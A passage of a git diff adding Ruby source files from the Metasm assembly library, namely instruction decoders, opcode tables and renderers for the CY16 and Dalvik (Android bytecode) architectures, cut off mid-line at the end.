+ end + when 0b11_0000 + Memref.new(Reg.new(8+(val&7)), edata.decode_imm(:u16, @endianness), bw) + end + + end + + def decode_instr_op(edata, di) + before_ptr = edata.ptr + op = di.opcode + di.instruction.opname = op.name + bin = edata.decode_imm(:u16, @endianness) + + field_val = lambda { |f| + if off = op.fields[f] + (bin >> off) & @fields_mask[f] + end + } + + op.args.each { |a| + di.instruction.args << case a + when :rs, :rd; decode_instr_op_r(field_val[a], edata) + when :o7; Expression[2*Expression.make_signed(field_val[a], 7)] + when :x7; Expression[field_val[a]] + when :u3; Expression[field_val[a]+1] + else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" + end + } + + di.instruction.args.reverse! + + di.bin_length += edata.ptr - before_ptr + + di + rescue InvalidRD + end + + def decode_instr_interpret(di, addr) + if di.opcode.props[:setip] and di.opcode.args.last == :o7 + delta = di.instruction.args.last.reduce + arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce + di.instruction.args[-1] = Expression[arg] + end + + di + end + + # hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding } + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + def backtrace_binding=(b) @backtrace_binding = b end + + # populate the @backtrace_binding hash with default values + def init_backtrace_binding + @backtrace_binding ||= {} + + mask = 0xffff + + opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op| + binding = case op + when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] } } + when 'add', 'adc', 'sub', 'sbc', 'and', 'xor', 'or', 'addi', 'subi' + lambda { |di, a0, a1| + e_op = { 'add' => :+, 'adc' => :+, 'sub' => :-, 'sbc' => :-, 'and' => :&, + 'xor' => :^, 'or' => :|, 'addi' => :+, 'subi' => :- }[op] + ret = Expression[a0, e_op, a1] + ret = Expression[ret, e_op, :flag_c] if op == 'adc' or op == 'sbb' + # optimises eax ^ eax => 0 + # avoid hiding memory accesses (to not hide possible fault) + ret = Expression[ret.reduce] if not a0.kind_of? Indirection + { a0 => ret } + } + when 'cmp', 'test'; lambda { |di, *a| {} } + when 'not'; lambda { |di, a0| { a0 => Expression[a0, :^, mask] } } + when 'call' + lambda { |di, a0| { :sp => Expression[:sp, :-, 2], + Indirection[:sp, 2, di.address] => Expression[di.next_addr] } + } + when 'ret'; lambda { |di, *a| { :sp => Expression[:sp, :+, 2] } } + # TODO callCC, retCC ... + when /^j/; lambda { |di, *a| {} } + end + + # TODO flags ? + + @backtrace_binding[op] ||= binding if binding + } + @backtrace_binding + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when Memref, Reg; arg.symbolic(di) + else arg + end + } + + if binding = backtrace_binding[di.opcode.basename] + bd = {} + di.instruction.args.each { |aa| bd[aa.base.symbolic] = Expression[aa.base.symbolic, :+, aa.sz] if aa.kind_of?(Memref) and aa.autoincr } + bd.update binding[di, *a] + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + # assume nothing except the 1st arg is modified + case a[0] + when Indirection, Symbol; { a[0] => Expression::Unknown } + when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} + else {} + end.update(:incomplete_binding => Expression[1]) + end + end + + # patch a forward binding from the backtrace binding + def fix_fwdemu_binding(di, fbd) + case di.opcode.name + when 'call'; fbd[Indirection[[:sp, :-, 2], 2]] = fbd.delete(Indirection[:sp, 2]) + end + fbd + end + + def get_xrefs_x(dasm, di) + return [] if not di.opcode.props[:setip] + + return [Indirection[:sp, 2, di.address]] if di.opcode.name =~ /^r/ + + case tg = di.instruction.args.first + when Memref; [Expression[tg.symbolic(di)]] + when Reg; [Expression[tg.symbolic(di)]] + when Expression, ::Integer; [Expression[tg]] + else + puts "unhandled setip at #{di.address} #{di.instruction}" if $DEBUG + [] + end + end + + # checks if expr is a valid return expression matching the :saveip instruction + def backtrace_is_function_return(expr, di=nil) + expr = Expression[expr].reduce_rec + expr.kind_of?(Indirection) and expr.len == 2 and expr.target == Expression[:sp] + end + + # updates the function backtrace_binding + # if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand) + def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) + b = f.backtrace_binding + + bt_val = lambda { |r| + next if not retaddrlist + b[r] = Expression::Unknown + bt = [] + retaddrlist.each { |retaddr| + bt |= dasm.backtrace(Expression[r], retaddr, :include_start => true, + :snapshot_addr => faddr, :origin => retaddr) + } + if bt.length != 1 + b[r] = Expression::Unknown + else + b[r] = bt.first + end + } + + if not wantregs.empty? + wantregs.each(&bt_val) + else + bt_val[:sp] + end + + b + end + + # returns true if the expression is an address on the stack + def backtrace_is_stack_address(expr) + Expression[expr].expr_externals.include?(:sp) + end + + # updates an instruction's argument replacing an expression with another (eg label renamed) + def replace_instr_arg_immediate(i, old, new) + i.args.map! { |a| + case a + when Expression; a == old ? new : Expression[a.bind(old => new).reduce] + when Memref + a.offset = (a.offset == old ? new : Expression[a.offset.bind(old => new).reduce]) if a.offset + a + else a + end + } + end +end +end diff --git a/lib/metasm/metasm/cpu/cy16/main.rb b/lib/metasm/metasm/cpu/cy16/main.rb new file mode 100644 index 0000000000..704bda76c5 --- /dev/null +++ b/lib/metasm/metasm/cpu/cy16/main.rb @@ -0,0 +1,63 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' + +module Metasm +class CY16 < CPU + class Reg + class << self + attr_accessor :s_to_i, :i_to_s + end + @i_to_s = (0..14).inject({}) { |h, i| h.update i => "r#{i}" } + @i_to_s[15] = 'sp' + @s_to_i = @i_to_s.invert + + attr_accessor :i + def initialize(i) + @i = i + end + + def symbolic(orig=nil) ; to_s.to_sym ; end + + def self.from_str(s) + raise "Bad name #{s.inspect}" if not x = @s_to_i[s] + new(x) + end + end + + class Memref + attr_accessor :base, :offset, :sz, :autoincr + def initialize(base, offset, sz=nil, autoincr=nil) + @base = base + offset = Expression[offset] if offset + @offset = offset + @sz = sz + @autoincr = autoincr + end + + def symbolic(orig) + p = nil + p = Expression[p, :+, @base.symbolic] if base + p = Expression[p, :+, @offset] if offset + Indirection[p.reduce, @sz, orig] + end + end + + def initialize(family = :latest) + super() + @endianness = :little + @size = 16 + @family = family + end + + def init_opcode_list + send("init_#@family") + @opcode_list + end +end +end + diff --git a/lib/metasm/metasm/cpu/cy16/opcodes.rb b/lib/metasm/metasm/cpu/cy16/opcodes.rb new file mode 100644 index 0000000000..1fb20e4953 --- /dev/null +++ b/lib/metasm/metasm/cpu/cy16/opcodes.rb @@ -0,0 +1,78 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/cy16/main' + +module Metasm + +class CY16 + def addop(name, bin, *args) + o = Opcode.new name, bin + args.each { |a| + o.args << a if @fields_mask[a] or @valid_args[a] + o.props[a] = true if @valid_props[a] + o.fields[a] = @fields_shift[a] if @fields_mask[a] + raise "wtf #{a.inspect}" unless @valid_args[a] or @valid_props[a] or @fields_mask[a] + } + @opcode_list << o + end + + def addop_macrocc(name, bin, *args) + %w[z nz b ae s ns o no a be g ge l le].each_with_index { |cc, i| + dbin = bin + dbin |= i << 8 + addop name + cc, dbin, *args + } + end + + def init_cy16 + @opcode_list = [] + @valid_args.update [:rs, :rd, :o7 + ].inject({}) { |h, v| h.update v => true } + @fields_mask.update :rs => 0x3f, :rd => 0x3f, :o7 => 0x7f, :x7 => 0x7f, :u3 => 7 + @fields_shift.update :rs => 6, :rd => 0, :o7 => 0, :x7 => 0, :u3 => 6 + + addop 'mov', 0<<12, :rs, :rd + addop 'add', 1<<12, :rs, :rd + addop 'adc', 2<<12, :rs, :rd + addop 'addc',2<<12, :rs, :rd + addop 'sub', 3<<12, :rs, :rd + addop 'sbb', 4<<12, :rs, :rd + addop 'subb',4<<12, :rs, :rd + addop 'cmp', 5<<12, :rs, :rd + addop 'and', 6<<12, :rs, :rd + addop 'test',7<<12, :rs, :rd + addop 'or', 8<<12, :rs, :rd + addop 'xor', 9<<12, :rs, :rd + + addop_macrocc 'int', (10<<12), :x7 + addop 'int', (10<<12) | (15<<8), :x7 + addop_macrocc 'c', (10<<12) | (1<<7), :setip, :saveip, :rd + addop 'call',(10<<12) | (15<<8) | (1<<7), :setip, :stopexec, :saveip, :rd + addop_macrocc 'r', (12<<12) | (1<<7) | 0b010111, :setip # must come before absolute jmp + addop 'ret', (12<<12) | (15<<8) | (1<<7) | 0b010111, :setip, :stopexec + addop_macrocc 'j', (12<<12), :setip, :o7 # relative + addop 'jmp', (12<<12) | (15<<8), :setip, :stopexec, :o7 # relative + addop_macrocc 'j', (12<<12) | (1<<7), :setip, :rd # absolute + addop 'jmp', (12<<12) | (15<<8) | (1<<7), :setip, :stopexec, :rd # absolute + + addop 'shr', (13<<12) | (0<<9), :u3, :rd + addop 'shl', (13<<12) | (1<<9), :u3, :rd + addop 'ror', (13<<12) | (2<<9), :u3, :rd + addop 'rol', (13<<12) | (3<<9), :u3, :rd + addop 'addi',(13<<12) | (4<<9), :u3, :rd + addop 'subi',(13<<12) | (5<<9), :u3, :rd + addop 'not', (13<<12) | (7<<9) | (0<<6), :rd + addop 'neg', (13<<12) | (7<<9) | (1<<6), :rd + addop 'cbw', (13<<12) | (7<<9) | (4<<6), :rd + addop 'sti', (13<<12) | (7<<9) | (7<<6) | 0 + addop 'cli', (13<<12) | (7<<9) | (7<<6) | 1 + addop 'stc', (13<<12) | (7<<9) | (7<<6) | 2 + addop 'clc', (13<<12) | (7<<9) | (7<<6) | 3 + end + + alias init_latest init_cy16 +end +end diff --git a/lib/metasm/metasm/cpu/cy16/render.rb b/lib/metasm/metasm/cpu/cy16/render.rb new file mode 100644 index 0000000000..2c2a680435 --- /dev/null +++ b/lib/metasm/metasm/cpu/cy16/render.rb @@ -0,0 +1,41 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/cy16/opcodes' +require 'metasm/render' + +module Metasm +class CY16 + class Reg + include Renderable + def render ; [self.class.i_to_s[@i]] end + end + class Memref + include Renderable + def render + r = [] + r << (@sz == 1 ? 'byte ptr ' : 'word ptr ') + r << '[' + r << @base if @base + r << '++' if @autoincr + r << ' + ' if @base and @offset + r << @offset if @offset + r << ']' + end + end + + def render_instruction(i) + r = [] + r << i.opname + if not i.args.empty? + r << ' ' + i.args.each { |a_| r << a_ << ', ' } + r.pop + end + r + end +end +end diff --git a/lib/metasm/metasm/cpu/dalvik.rb b/lib/metasm/metasm/cpu/dalvik.rb new file mode 100644 index 0000000000..e4c7b4eb61 --- /dev/null +++ b/lib/metasm/metasm/cpu/dalvik.rb @@ -0,0 +1,11 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +class Metasm::Dalvik < Metasm::CPU +end + +require 'metasm/main' +require 'metasm/cpu/dalvik/decode' diff --git a/lib/metasm/metasm/cpu/dalvik/decode.rb b/lib/metasm/metasm/cpu/dalvik/decode.rb new file mode 100644 index 0000000000..a52257b797 --- /dev/null +++ b/lib/metasm/metasm/cpu/dalvik/decode.rb @@ -0,0 +1,218 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/dalvik/opcodes' +require 'metasm/decode' + +module Metasm +class Dalvik + def build_bin_lookaside + end + + def decode_findopcode(edata) + return if edata.ptr+2 > edata.length + di = DecodedInstruction.new(self) + di.opcode = opcode_list[edata.decode_imm(:u16, @endianness) & 0xff] + edata.ptr -= 2 + di + end + + def decode_instr_op(edata, di) + op = di.opcode + di.instruction.opname = op.name + + val = [edata.decode_imm(:u16, @endianness)] + + op.args.each { |a| + di.instruction.args << case a + when :i16 + val << edata.decode_imm(:i16, @endianness) + Expression[val.last] + when :u16 + val << edata.decode_imm(:u16, @endianness) + Expression[val.last] + when :r16 + val << edata.decode_imm(:u16, @endianness) + Reg.new(val.last) + when :i16_32hi + val << edata.decode_imm(:i16, @endianness) + Expression[val.last << 16] + when :i16_64hi + val << edata.decode_imm(:i16, @endianness) + Expression[val.last << 48] + when :i32 + val << edata.decode_imm(:u16, @endianness) + val << edata.decode_imm(:i16, @endianness) + Expression[val[-2] | (val[-1] << 16)] + when :u32 + val << edata.decode_imm(:u16, @endianness) + val << edata.decode_imm(:u16, @endianness) + Expression[val[-2] | (val[-1] << 16)] + when :u64 + val << edata.decode_imm(:u16, @endianness) + val << edata.decode_imm(:u16, @endianness) + val << edata.decode_imm(:u16, @endianness) + val << edata.decode_imm(:u16, @endianness) + Expression[val[-4] | (val[-3] << 16) | (val[-2] << 32) | (val[-1] << 48)] + when :ra + Reg.new((val[0] >> 8) & 0xf) + when :rb + Reg.new((val[0] >> 12) & 0xf) + when :ib + Expression[Expression.make_signed((val[0] >> 12) & 0xf, 4)] + when :raa + Reg.new((val[0] >> 8) & 0xff) + when :iaa + Expression[Expression.make_signed((val[0] >> 8) & 0xff, 8)] + when :rbb + val[1] ||= edata.decode_imm(:u16, @endianness) + Reg.new(val[1] & 0xff) + when :ibb + val[1] ||= edata.decode_imm(:u16, @endianness) + Expression[Expression.make_signed(val[1] & 0xff, 8)] + when :rcc + val[1] ||= edata.decode_imm(:u16, @endianness) + Reg.new((val[1] >> 8) & 0xff) + when :icc + val[1] ||= edata.decode_imm(:u16, @endianness) + Expression[Expression.make_signed((val[1] >> 8) & 0xff, 8)] + when :rlist4, :rlist5 + cnt = (val[0] >> 12) & 0xf + val << edata.decode_imm(:u16, @endianness) + [cnt, 4].min.times { + di.instruction.args << Reg.new(val[-1] & 0xf) + val[-1] >>= 4 + } + di.instruction.args << Reg.new((val[0] >> 8) & 0xf) if cnt > 4 + next + when :rlist16 + cnt = (val[0] >> 8) & 0xff + val << edata.decode_imm(:u16, @endianness) + cnt.times { |c| + di.instruction.args << Reg.new(val[-1] + c) + } + next + when :m16 + val << edata.decode_imm(:u16, @endianness) + DexMethod.new(@dex, val.last) + when :fld16 + val << edata.decode_imm(:u16, @endianness) + DexField.new(@dex, val.last) + when :typ16 + val << edata.decode_imm(:u16, @endianness) + DexType.new(@dex, val.last) + when :str16 + val << edata.decode_imm(:u16, @endianness) + DexString.new(@dex, val.last) + else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" + end + } + + di.bin_length = val.length*2 + + return if edata.ptr > edata.length + + di + end + + def decode_instr_interpret(di, addr) + if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.instruction.opname =~ /^if|^goto/ + arg = Expression[addr, :+, [di.instruction.args.last, :*, 2]].reduce + di.instruction.args[-1] = Expression[arg] + end + + di + end + + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + + def init_backtrace_binding + @backtrace_binding ||= {} + sz = @size/8 + @opcode_list.each { |op| + case op.name + when /invoke/ + @backtrace_binding[op.name] = lambda { |di, *args| { + :callstack => Expression[:callstack, :-, sz], + Indirection[:callstack, sz] => Expression[di.next_addr] + } } + when /return/ + @backtrace_binding[op.name] = lambda { |di, *args| { + :callstack => Expression[:callstack, :+, sz] + } } + end + } + @backtrace_binding + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when Reg; arg.symbolic + else arg + end + } + + if binding = backtrace_binding[di.opcode.name] + binding[di, *a] + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + # assume nothing except the 1st arg is modified + case a[0] + when Indirection, Symbol; { a[0] => Expression::Unknown } + when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} + else {} + end.update(:incomplete_binding => Expression[1]) + end + + end + + def get_xrefs_x(dasm, di) + if di.opcode.props[:saveip] + m = di.instruction.args.first + if m.kind_of?(DexMethod) and m.off + [m.off] + else + [:default] + end + elsif di.opcode.props[:setip] + if di.opcode.name =~ /^return/ + [Indirection[:callstack, @size/8]] + elsif di.opcode.name =~ /^if|^goto/ + [di.instruction.args.last] + else + [] # [di.instruction.args.last] + end + else + [] + end + end + + # returns a DecodedFunction suitable for :default + # uses disassembler_default_bt{for/bind}_callback + def disassembler_default_func + df = DecodedFunction.new + ra = Indirection[:callstack, @size/8] + df.backtracked_for << BacktraceTrace.new(ra, :default, ra, :x, nil) + df.backtrace_binding[:callstack] = Expression[:callstack, :+, @size/8] + df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| + if funcaddr != :default + btfor + elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] + btfor + else [] + end + } + + df + end + + def backtrace_is_function_return(expr, di=nil) + expr and Expression[expr] == Expression[Indirection[:callstack, @size/8]] + end +end +end diff --git a/lib/metasm/metasm/cpu/dalvik/main.rb b/lib/metasm/metasm/cpu/dalvik/main.rb new file mode 100644 index 0000000000..264192cfb4 --- /dev/null +++ b/lib/metasm/metasm/cpu/dalvik/main.rb @@ -0,0 +1,109 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' + +module Metasm +class Dalvik < CPU + class Reg + attr_accessor :i + def initialize(i) + @i = i + end + + def symbolic + "r#@i".to_sym + end + + def to_s + "r#@i" + end + end + + class DexMethod + attr_accessor :dex, :midx, :off + def initialize(dex, midx) + @dex = dex + @midx = midx + if @dex and m = @dex.methods[midx] and c = @dex.classes[m.classidx] and c.data and + me = (c.data.direct_methods+c.data.virtual_methods).find { |mm| mm.methodid == midx } + # FIXME this doesnt work + @off = me.codeoff + me.code.insns_off + end + end + + def to_s + if @dex and m = @dex.methods[@midx] + @dex.types[m.classidx] + '->' + @dex.strings[m.nameidx] + #dex.encoded.inv_export[@off] + else + "method_#@midx" + end + end + end + + class DexField + attr_accessor :dex, :fidx + def initialize(dex, fidx) + @dex = dex + @fidx = fidx + end + + def to_s + if @dex and f = @dex.fields[@fidx] + @dex.types[f.classidx] + '->' + @dex.strings[f.nameidx] + else + "field_#@fidx" + end + end + end + + class DexType + attr_accessor :dex, :tidx + def initialize(dex, tidx) + @dex = dex + @tidx = tidx + end + + def to_s + if @dex and f = @dex.types[@tidx] + f + else + "type_#@tidx" + end + end + end + + class DexString + attr_accessor :dex, :sidx + def initialize(dex, sidx) + @dex = dex + @sidx = sidx + end + + def to_s + if @dex and f = @dex.strings[@sidx] + f.inspect + else + "string_#@sidx" + end + end + end + + def initialize(*args) + super() + @size = args.grep(Integer).first || 32 + @dex = args.grep(ExeFormat).first + @endianness = args.delete(:little) || args.delete(:big) || (@dex ? @dex.endianness : :little) + end + + def init_opcode_list + init_latest + @opcode_list + end +end +end + diff --git a/lib/metasm/metasm/cpu/dalvik/opcodes.rb b/lib/metasm/metasm/cpu/dalvik/opcodes.rb new file mode 100644 index 0000000000..bef8d243bd --- /dev/null +++ b/lib/metasm/metasm/cpu/dalvik/opcodes.rb @@ -0,0 +1,374 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +# the Dalvik binary format, aka android java backend bytecode +# this file was generated using the android source tree, as reference, +# specifically dalvik/libdex/InstrUtils.c + +# the binary opcode format is 16 bit word-based +# the opcode number is in the low-order byte, and determines the +# argument format, which may take up to 4 other words + +require 'metasm/cpu/dalvik/main' + +module Metasm +class Dalvik + OPCODES = %w[nop move move_from16 move_16 move_wide move_wide_from16 +move_wide_16 move_object move_object_from16 move_object_16 move_result +move_result_wide move_result_object move_exception +return_void return return_wide return_object +const_4 const_16 const const_high16 const_wide_16 const_wide_32 +const_wide const_wide_high16 const_string const_string_jumbo const_class +monitor_enter monitor_exit check_cast instance_of array_length +new_instance new_array filled_new_array filled_new_array_range fill_array_data +throw goto goto_16 goto_32 packed_switch sparse_switch +cmpl_float cmpg_float cmpl_double cmpg_double cmp_long +if_eq if_ne if_lt if_ge if_gt if_le if_eqz if_nez if_ltz if_gez if_gtz if_lez +unused_3e unused_3f unused_40 unused_41 unused_42 unused_43 +aget aget_wide aget_object aget_boolean aget_byte aget_char aget_short +aput aput_wide aput_object aput_boolean aput_byte aput_char aput_short +iget iget_wide iget_object iget_boolean iget_byte iget_char iget_short +iput iput_wide iput_object iput_boolean iput_byte iput_char iput_short +sget sget_wide sget_object sget_boolean sget_byte sget_char sget_short +sput sput_wide sput_object sput_boolean sput_byte sput_char sput_short +invoke_virtual invoke_super invoke_direct invoke_static invoke_interface +unused_73 +invoke_virtual_range invoke_super_range invoke_direct_range invoke_static_range invoke_interface_range +unused_79 unused_7a +neg_int not_int neg_long not_long neg_float neg_double +int_to_long int_to_float int_to_double long_to_int long_to_float long_to_double +float_to_int float_to_long float_to_double double_to_int double_to_long +double_to_float int_to_byte int_to_char int_to_short +add_int sub_int mul_int div_int rem_int and_int or_int xor_int shl_int shr_int ushr_int +add_long sub_long mul_long div_long rem_long and_long or_long xor_long shl_long shr_long ushr_long +add_float sub_float mul_float div_float rem_float +add_double sub_double mul_double div_double rem_double +add_int_2addr sub_int_2addr mul_int_2addr div_int_2addr rem_int_2addr +and_int_2addr or_int_2addr xor_int_2addr shl_int_2addr shr_int_2addr ushr_int_2addr +add_long_2addr sub_long_2addr mul_long_2addr div_long_2addr rem_long_2addr +and_long_2addr or_long_2addr xor_long_2addr shl_long_2addr shr_long_2addr ushr_long_2addr +add_float_2addr sub_float_2addr mul_float_2addr div_float_2addr rem_float_2addr +add_double_2addr sub_double_2addr mul_double_2addr div_double_2addr rem_double_2addr +add_int_lit16 rsub_int mul_int_lit16 div_int_lit16 rem_int_lit16 and_int_lit16 or_int_lit16 xor_int_lit16 +add_int_lit8 rsub_int_lit8 mul_int_lit8 div_int_lit8 rem_int_lit8 and_int_lit8 or_int_lit8 xor_int_lit8 +shl_int_lit8 shr_int_lit8 ushr_int_lit8 +unused_e3 unused_e4 unused_e5 unused_e6 unused_e7 unused_e8 unused_e9 unused_ea unused_eb unused_ec +throw_verification_error execute_inline unused_ef invoke_direct_empty unused_f1 +iget_quick iget_wide_quick iget_object_quick iput_quick iput_wide_quick iput_object_quick +invoke_virtual_quick invoke_virtual_quick_range invoke_super_quick invoke_super_quick_range +unused_fc unused_fd unused_fe unused_ff] + + def init_dalvik + @valid_props[:canthrow] = true + [:i16, :i16_32hi, :i16_64hi, :i32, :iaa, :ib, :icc, :u16, :u32, :u64, + :r16, :ra, :raa, :rb, :rbb, :rcc, :rlist16, :rlist4, :rlist5, + :m16, :fld16, :typ16, :str16 + ].each { |a| @valid_args[a] = true } + @opcode_list = [] + + OPCODES.each_with_index { |n, b| + op = Opcode.new(n, b) + addop_args(op) + addop_props(op) + @opcode_list << op + } + + raise "Internal error #{@opcode_list.length}" if @opcode_list.length != 256 + end + alias init_latest init_dalvik + + def addop_args(op) + fmt = case op.name + when 'goto' + :fmt10t + when 'nop', 'return_void' + :fmt10x + when 'const_4' + :fmt11n + when 'const_high16' + :fmt21h + when 'const_wide_high16' + :fmt21hh + when 'move_result', 'move_result_wide', 'move_result_object', + 'move_exception', 'return', 'return_wide', + 'return_object', 'monitor_enter', 'monitor_exit', + 'throw' + :fmt11x + when 'move', 'move_wide', 'move_object', 'array_length', + 'neg_int', 'not_int', 'neg_long', 'not_long', + 'neg_float', 'neg_double', 'int_to_long', + 'int_to_float', 'int_to_double', 'long_to_int', + 'long_to_float', 'long_to_double', 'float_to_int', + 'float_to_long', 'float_to_double', 'double_to_int', + 'double_to_long', 'double_to_float', 'int_to_byte', + 'int_to_char', 'int_to_short', 'add_int_2addr', + 'sub_int_2addr', 'mul_int_2addr', 'div_int_2addr', + 'rem_int_2addr', 'and_int_2addr', 'or_int_2addr', + 'xor_int_2addr', 'shl_int_2addr', 'shr_int_2addr', + 'ushr_int_2addr', 'add_long_2addr', 'sub_long_2addr', + 'mul_long_2addr', 'div_long_2addr', 'rem_long_2addr', + 'and_long_2addr', 'or_long_2addr', 'xor_long_2addr', + 'shl_long_2addr', 'shr_long_2addr', 'ushr_long_2addr', + 'add_float_2addr', 'sub_float_2addr', 'mul_float_2addr', + 'div_float_2addr', 'rem_float_2addr', + 'add_double_2addr', 'sub_double_2addr', + 'mul_double_2addr', 'div_double_2addr', + 'rem_double_2addr' + :fmt12x + when 'goto_16' + :fmt20t + when 'goto_32' + :fmt30t + when 'const_string' + :fmt21c_str + when 'const_class', 'check_cast', + 'new_instance' + :fmt21c_typ + when 'sget', 'sget_wide', 'sget_object', + 'sget_boolean', 'sget_byte', 'sget_char', 'sget_short', + 'sput', 'sput_wide', 'sput_object', 'sput_boolean', + 'sput_byte', 'sput_char', 'sput_short' + :fmt21c_fld + when 'const_16', 'const_wide_16' + :fmt21s + when 'if_eqz', 'if_nez', 'if_ltz', 'if_gez', 'if_gtz', 'if_lez' + :fmt21t + when 'fill_array_data', 'packed_switch', 'sparse_switch' + :fmt31t + when 'add_int_lit8', 'rsub_int_lit8', 'mul_int_lit8', + 'div_int_lit8', 'rem_int_lit8', 'and_int_lit8', + 'or_int_lit8', 'xor_int_lit8', 'shl_int_lit8', + 'shr_int_lit8', 'ushr_int_lit8' + :fmt22b + when 'instance_of', 'new_array', 'iget', 'iget_wide', + 'iget_object', 'iget_boolean', 'iget_byte', + 'iget_char', 'iget_short', 'iput', 'iput_wide', + 'iput_object', 'iput_boolean', 'iput_byte', + 'iput_char', 'iput_short' + :fmt22c + when 'add_int_lit16', 'rsub_int', 'mul_int_lit16', + 'div_int_lit16', 'rem_int_lit16', 'and_int_lit16', + 'or_int_lit16', 'xor_int_lit16' + :fmt22s + when 'if_eq', 'if_ne', 'if_lt', 'if_ge', 'if_gt', 'if_le' + :fmt22t + when 'move_from16', 'move_wide_from16', 'move_object_from16' + :fmt22x + when 'cmpl_float', 'cmpg_float', 'cmpl_double', 'cmpg_double', + 'cmp_long', 'aget', 'aget_wide', 'aget_object', + 'aget_boolean', 'aget_byte', 'aget_char', 'aget_short', + 'aput', 'aput_wide', 'aput_object', 'aput_boolean', + 'aput_byte', 'aput_char', 'aput_short', 'add_int', + 'sub_int', 'mul_int', 'div_int', 'rem_int', 'and_int', + 'or_int', 'xor_int', 'shl_int', 'shr_int', 'ushr_int', + 'add_long', 'sub_long', 'mul_long', 'div_long', + 'rem_long', 'and_long', 'or_long', 'xor_long', + 'shl_long', 'shr_long', 'ushr_long', 'add_float', + 'sub_float', 'mul_float', 'div_float', 'rem_float', + 'add_double', 'sub_double', 'mul_double', 'div_double', + 'rem_double' + :fmt23x + when 'const', 'const_wide_32' + :fmt31i + when 'const_string_jumbo' + :fmt31c + when 'move_16', 'move_wide_16', 'move_object_16' + :fmt32x + when 'filled_new_array' + :fmt35ca + when 'invoke_virtual', 'invoke_super', + 'invoke_direct', 'invoke_static', 'invoke_interface' + :fmt35c + when 'filled_new_array_range', 'invoke_virtual_range', + 'invoke_super_range', 'invoke_direct_range', + 'invoke_static_range', 'invoke_interface_range' + :fmt3rc + when 'const_wide' + :fmt51l + when 'throw_verification_error' + :fmt20bc + when 'iget_quick', 'iget_wide_quick', 'iget_object_quick', + 'iput_quick', 'iput_wide_quick', 'iput_object_quick' + :fmt22cs + when 'invoke_virtual_quick', 'invoke_super_quick' + :fmt35ms + when 'invoke_virtual_quick_range', 'invoke_super_quick_range' + :fmt3rms + when 'execute_inline' + :fmt3inline + when 'invoke_direct_empty' + :fmt35c + when 'unused_3e', 'unused_3f', 'unused_40', 'unused_41', + 'unused_42', 'unused_43', 'unused_73', 'unused_79', + 'unused_7a', 'unused_e3', 'unused_e4', 'unused_e5', + 'unused_e6', 'unused_e7', 'unused_e8', 'unused_e9', + 'unused_ea', 'unused_eb', 'unused_ec', 'unused_ef', + 'unused_f1', 'unused_fc', 'unused_fd', 'unused_fe', + 'unused_ff' + :fmtUnknown + else + raise "Internal error #{op.name}" + end + + case fmt + when :fmt10x; op.args << :iaa + when :fmt12x; op.args << :ra << :rb + when :fmt11n; op.args << :ra << :ib + when :fmt11x; op.args << :raa + when :fmt10t; op.args << :iaa + when :fmt20t; op.args << :i16 + when :fmt20bc; op.args << :iaa << :u16 + when :fmt21c_str; op.args << :raa << :str16 + when :fmt21c_typ; op.args << :raa << :typ16 + when :fmt21c_fld; op.args << :raa << :fld16 + when :fmt22x; op.args << :raa << :r16 + when :fmt21s, :fmt21t; op.args << :raa << :i16 + when :fmt21h; op.args << :raa << :i16_32hi + when :fmt21hh; op.args << :raa << :i16_64hi + when :fmt23x; op.args << :raa << :rbb << :rcc + when :fmt22b; op.args << :raa << :rbb << :icc + when :fmt22s, :fmt22t; op.args << :ra << :rb << :i16 + when :fmt22c, :fmt22cs; op.args << :ra << :rb << :fld16 + when :fmt30t; op.args << :i32 + when :fmt31t, :fmt31c; op.args << :raa << :u32 + when :fmt32x; op.args << :r16 << :r16 + when :fmt31i; op.args << :raa << :i32 + when :fmt35ca + op.args << :r16 << :rlist5 + when :fmt35c, :fmt35ms + # rlist: + # nr of regs in :ib (max 5) + # regs: :ib.times { reg :i16 & 0xf ; :i16 >>= 4 } + # reg :ra if :ib == 5 + op.args << :m16 << :rlist5 + when :fmt3inline + op.args << :r16 << :rlist4 + when :fmt3rc, :fmt3rms + # rlist = :r16, :r16+1, :r16+2, ..., :r16+:iaa-1 + op.args << :r16 << :rlist16 + when :fmt51l + # u64 = u16 | (u16 << 16) | ... + op.args << :raa << :u64 + when :fmtUnknown + op.args << :iaa + else + raise "Internal error #{fmt.inspect}" + end + end + + def addop_props(op) + case op.name + when 